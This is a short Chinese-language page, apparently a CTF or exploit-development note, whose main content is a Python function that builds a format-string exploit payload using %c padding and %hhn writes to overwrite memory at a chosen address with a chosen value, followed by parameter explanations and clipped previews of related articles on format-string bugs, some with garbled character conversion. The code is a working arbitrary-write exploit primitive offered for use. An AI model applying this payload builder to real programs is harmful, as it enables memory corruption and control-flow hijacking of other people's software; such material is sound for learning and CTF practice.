格式化字串漏洞寫入大位址函式

2021-09-24 23:56:20 字數 881 閱讀 3383

def fmt(prev, word, index):

if prev < word:

result = word - prev

fmtstr = "%" + str(result) + "c"

elif prev == word:

result = 0

else:

result = 256 + word - prev

fmtstr = "%" + str(result) + "c"

fmtstr += "%" + str(index) + "$hhn"

return fmtstr

def fmt_str(offset, size, addr, target):

payload = ""

for i in range(4):

if size == 4:

payload += p32(addr + i)

else:

payload += p64(addr + i)

prev = len(payload)

for i in range(4):

payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)

prev = (target >> i * 8) & 0xff

return payload

payload = fmt_str(6,4,0x0804a028,0x12345678)

其中每個引數的含義基本如下

offset 表示要覆蓋的位址最初的偏移

size 表示機器字長

addr 表示將要覆蓋的位址。

target 表示我們要覆蓋為的目的變數值。

格式化字串漏洞

在編寫程式時由於編寫的不規範有可能產生這個漏洞。下面乙個例子 includeint a 2 int main 編譯時使用 gcc test.c m32表示編譯成32位的程式上面這個例子便是乙個很簡單的格式化字串漏洞,產生格式化字串漏洞需要兩個條件 下面講解printf輸出的原理 eg name su...

格式化字串漏洞簡介

格式化字串,也是一種比較常見的漏洞型別。會觸發該漏洞的函式很有限。主要就是printf還有sprintf,fprintf等等c庫中print家族的函式。我們先來看看printf的函式宣告 int printf const char format,這個是每個學過c語言的人一定會知道 會使用的函式。先是...

格式化字串漏洞歸納

主要是構建框架,沒有詳細闡述內容 分為兩部分,漏洞原理與利用方式 通常來說,利用格式化字串漏洞使得程式崩潰是最為簡單的利用方式,因為我們只需要輸入若干個 s即可。這是因為棧上不可能每個值都對應了合法的位址,所以總是會有某個位址可以使得程式崩潰。這一利用,雖然攻擊者本身似乎並不能控制程式,但是這樣卻可...